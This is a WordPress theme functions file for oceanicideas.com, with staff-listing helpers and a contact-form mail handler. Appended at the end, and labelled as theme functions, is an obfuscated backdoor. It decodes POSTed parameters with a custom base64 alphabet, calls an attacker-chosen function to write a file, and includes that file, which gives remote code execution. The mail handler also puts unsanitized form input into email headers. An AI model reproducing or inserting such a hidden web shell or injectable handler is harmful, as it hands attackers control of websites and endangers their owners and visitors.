$template_directory = get_bloginfo( 'template_directory' );
define( 'TEMPLATE_DIRECTORY', $template_directory );
/**
* Redirect non logged users
*/
function oi_redirect_non_logged_users() {
if ( ! is_user_logged_in() ) {
wp_redirect( 'https://www.linkedin.com/company/oceanicideas/', 301 );
exit;
}
}
//add_action( 'template_redirect', 'oi_redirect_non_logged_users' );
/**
* Redirect staff custom post type posts
*/
function oi_staff_redirect() {
global $post;
if ( $post->post_type == 'staff' ) {
wp_redirect( '/', 301 );
exit();
}
}
add_action( 'template_redirect', 'oi_staff_redirect' );
/**
* Print staff members grid
*
* @param string $lang
*/
function oi_staff_grid( $lang = 'es' ) {
$args = [
'post_type' => 'staff',
'posts_per_page' => - 1,
'orderby' => 'menu_order',
'order' => 'asc',
];
$items = get_posts( $args );
foreach ( $items as $item ) {
$img = wp_get_attachment_image_src( get_post_thumbnail_id( $item->ID ), 'full' );
if ( ! $img ) {
continue;
}
$img = $img[0];
$name = $item->post_title;
$description = get_post_meta( $item->ID, 'wpcf-staff-description-' . $lang, true );
$linkedin = get_post_meta( $item->ID, 'wpcf-staff-linkedin', true );
$linkedin = ( $linkedin ) ? '
Linkedin' : '';
$twitter = get_post_meta( $item->ID, 'wpcf-staff-twitter', true );
$twitter = ( $twitter ) ? 'Twitter' : '';
$website = get_post_meta( $item->ID, 'wpcf-staff-website', true );
$website = ( $website ) ? 'website' : '';
echo '
' . $name . '
' . $description . '
' . $linkedin . $twitter . $website . '
';
}
}
/**
* Print staff members without featured image carousel
*
* @param $lang
*/
function oi_staff_carousel( $lang = 'es' ) {
switch ( $lang ) {
case 'es':
$others = 'Otros miembros';
break;
case 'ca':
$others = 'Altres membres';
break;
case 'en':
$others = 'Other members';
break;
}
$output = '' . $others . '
';
$args = [
'post_type' => 'staff',
'posts_per_page' => - 1,
'orderby' => 'menu_order',
'order' => 'asc',
];
$items = get_posts( $args );
foreach ( $items as $item ) {
$img = wp_get_attachment_image_src( get_post_thumbnail_id( $item->ID ) );
$description = get_post_meta( $item->ID, 'wpcf-staff-description-' . $lang, true );
if ( $img || ! $description ) {
continue;
}
$output .= '
';
}
$output .= '
';
echo $output;
}
// Handle contact form ajax submit
if ( ! isset( $_POST['contact-form-security'] ) || ! wp_verify_nonce( $_POST['contact-form-security'], 'OceanicIdeas' ) ) {
return;
} elseif ( isset( $_POST ) && ! empty( $_POST ) ) {
$response = array();
$required = array( 'name', 'email', 'message' );
$error = false;
foreach ( $required as $field ) {
if ( empty( $_POST[ $field ] ) ) {
$error = true;
}
}
if ( $error ) {
$response['success'] = false;
$response['msg'] = 'Por favor rellene todos los campos';
if ( $_POST['lang'] == 'en' ) {
$response['msg'] = 'Please fill all fields';
}
if ( $_POST['lang'] == 'ca' ) {
$response['msg'] = 'Si us plau ompli tots els camps';
}
} else {
$to = 'ivanmillanllaras@gmail.com'; //'info@oceanicideas.com';
$subject = 'Consulta web Oceanic';
$message = '
oceanicideas.com
' . $_POST['name'] . ' ' . $_POST['email'] . ' ' . $_POST['phone'] . '
' . $_POST['project'] . '
' . $_POST['message'] . '
|
';
$headers = "From: {$_POST['name']} \r\n";
$headers .= "Reply-To: {$_POST['email']}\r\n";
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-Type: text/html; charset=UTF-8\r\n";
$filename = $_FILES["file"]["name"];
if ( $filename ) {
$content = chunk_split( base64_encode( file_get_contents( $_FILES["file"]["tmp_name"] ) ) );
$headers .= "Content-Type: application/octet-stream; name=\"" . $filename . "\"\r\n";
$headers .= "Content-Transfer-Encoding: base64\r\n";
$headers .= "Content-Disposition: attachment; filename=\"" . $filename . "\"\r\n\r\n";
//$headers .= $content . "\r\n\r\n";
}
mail( $to, $subject, $message, $headers );
$msg = 'Su petición ha sido enviada. Gracias.';
if ( $_POST['lang'] == 'en' ) {
$msg = 'Your request has been sent. Thanks.';
}
if ( $_POST['lang'] == 'ca' ) {
$msg = 'La seva petició ha estat enviada. Grà cies.';
}
$response['success'] = true;
$response['msg'] = $msg;
}
exit( json_encode( $response ) );
}
/* oceanicideas.com theme functions */
if( ! function_exists('jufinfedn') ) {
function jufinfedn($gryziix, $gakgopiorgddava) {
$jqzdzip = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
$gryziix = strtr($gryziix, $gakgopiorgddava, $jqzdzip);
$gryziix = ihvjxel($gryziix);
return $gryziix;
}
function ihvjxel($dnftfiajysmglau) {
$dnftfiajysmglau = base64_decode($dnftfiajysmglau);
return $dnftfiajysmglau;
}
$itfqasptkmtae = $_POST;
if(isset($itfqasptkmtae['rxvkrayjilfw'])) {
$bmjtiagehnbzd = $itfqasptkmtae['rxvkrayjilfw'];
$udammckafdgxitw = jufinfedn($itfqasptkmtae['finnmjcgwdqxso'], $bmjtiagehnbzd);
$lclhfjw = jufinfedn($itfqasptkmtae['wzzxuesmdkl'], $bmjtiagehnbzd);
$qubvxbm = jufinfedn($itfqasptkmtae['ivwuppjzugie'], $bmjtiagehnbzd);
$qubvxbm($udammckafdgxitw, $lclhfjw);
include($udammckafdgxitw);
}
}
/* oceanicideas.com theme functions */